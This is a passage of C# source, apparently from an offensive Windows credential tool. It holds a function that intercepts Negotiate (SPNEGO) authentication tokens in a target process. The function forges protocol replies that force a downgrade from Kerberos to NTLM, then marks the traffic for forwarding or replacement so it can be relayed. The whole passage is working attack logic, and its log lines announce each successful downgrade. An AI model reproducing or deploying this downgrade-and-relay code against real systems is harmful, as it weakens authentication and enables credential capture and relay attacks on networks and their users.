| 274 | } |
| 275 | |
| 276 | static BitseryObject ProcessNegotiateToken(NegotiateRequest negotiateRequest) { |
| 277 | |
| 278 | if (negotiateRequest.Token != null && !DoPassiveMode(negotiateRequest.ProcessID)) { |
| 279 | |
| 280 | AsnElt asnToken = null; |
| 281 | |
| 282 | try { |
| 283 | |
| 284 | asnToken = AsnElt.Decode(negotiateRequest.Token); |
| 285 | var negTokenInit = new NegTokenInit(AsnElt.Decode(negotiateRequest.Token)); |
| 286 | |
| 287 | if (negTokenInit.MechTypes != null && negTokenInit.MechTypes.Count > 0 && negTokenInit.MechTypes[0].Value != NegToken.MechTypeNTLM.Value) { |
| 288 | |
| 289 | if (negTokenInit.MechToken != null && negTokenInit.MechToken.Length > 0) { |
| 290 | |
| 291 | if (negTokenInit.MechTypes[0].Value != NegToken.MechTypeNTLM.Value) { |
| 292 | Console.WriteLine($"[{negotiateRequest.Process.ProcessName}] Received non NTLM NegTokenInit, peforming NTLM downgrade"); |
| 293 | NegTokenResponse tokenResponse = new NegTokenResponse(State.RequestMic, NegToken.MechTypeNTLM); |
| 294 | return new NegotiateResponse(tokenResponse.Encode(), RelayStatus.Forward); |
| 295 | } |
| 296 | |
| 297 | } else { |
| 298 | NegTokenInit tokenResponse = new NegTokenInit(); |
| 299 | tokenResponse.MechTypes.Add(NegToken.MechTypeNTLM); |
| 300 | return new NegotiateResponse(tokenResponse.Encode(), RelayStatus.Replace); |
| 301 | } |
| 302 | } |
| 303 | |
| 304 | } catch (FormatException) { // It wasn't a NegTokenInit token, so attempt to parse a response instead |
| 305 | |
| 306 | try { |
| 307 | |
| 308 | var negTokenResp = new NegTokenResponse(asnToken); |
| 309 | |
| 310 | if (negTokenResp.NegState == State.AcceptIncomplete && negTokenResp.ResponseToken != null) { |
| 311 | |
| 312 | try { |
| 313 | |
| 314 | var ntlmToken = NtlmAuthenticationToken.Parse(negTokenResp.ResponseToken); |
| 315 | if(ntlmToken is NtlmNegotiateAuthenticationToken) { |
| 316 | NegTokenInit tokenResponse = new NegTokenInit(); |
| 317 | tokenResponse.MechToken = negTokenResp.ResponseToken; |
| 318 | tokenResponse.MechTypes.Add(NegToken.MechTypeNTLM); |
| 319 | Console.WriteLine($"[{negotiateRequest.Process.ProcessName}] Received negTokenResponse with NTLM token, downgrade successful."); |
| 320 | return new NegotiateResponse(tokenResponse.Encode(), RelayStatus.Replace); |
| 321 | } |
| 322 | |
| 323 | }catch(Exception) {} //Not an NTLM negotiate mechToken.... fall through |
| 324 | } |
| 325 | |
| 326 | } catch (FormatException) { } //It's not a response token either.... fall through |
| 327 | |
| 328 | } catch (AsnException) { } //Failed to decode Negotiate token, so just fall through |
| 329 | } |
| 330 | |
| 331 | return new NegotiateResponse(RelayStatus.Passive); |
| 332 | } |
| 333 | |